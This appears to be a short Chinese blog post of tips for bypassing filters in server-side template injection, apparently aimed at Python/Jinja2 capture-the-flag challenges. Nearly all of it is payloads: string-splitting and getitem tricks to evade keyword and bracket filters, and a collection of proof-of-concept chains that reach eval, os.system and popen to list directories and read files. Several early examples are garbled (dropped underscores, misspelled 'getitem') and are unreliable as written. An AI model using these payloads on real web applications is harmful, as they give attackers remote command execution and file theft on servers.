ssti中的一些绕过tips

没什么系统思路。就是不断挖掘类研究官方文档以及各种能够利用的姿势。这里从最简单的绕过说起。

1.过滤[ ]等括号

使用gititem绕过。如原poc

{{"".class.bases[0]}}

绕过后

{{"".class.bases.getitem(0)}}

2.过滤了subclasses,拼凑法

原poc

{{"".class.bases[0].subclasses()}}

绕过

{{"".class.bases[0]'subcla'+'sses'}}

3.过滤class

使用session

{{session['cla'+'ss'].bases[0].bases[0].bases[0].bases[0].subclasses()[118]}}

多个bases[0]是因为一直在向上找object类。使用mro就会很方便

{{session['__cla'+'ss__'].__mro__[12]}}

或者

request['__cl'+'ass__'].__mro__[12]}}

4.timeit姿势

可以学习一下 2017 swpu-ctf的一道沙盒python题,

这里不详说了,博大精深,我只意会一二。

import timeit
timeit.timeit("__import__('os').system('dir')",number=1)

import platform
print platform.popen('dir').read()

5.收藏的一些poc

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )

object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')

{{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')}}

还有就可以参考一下P师傅的 https://p0sec.net/index.php/archives/120/
20181221165627-4d167624-04fe-1.png

最后修改:2019 年 09 月 17 日 08 : 24 PM
如果你觉得有用,欢迎赞赏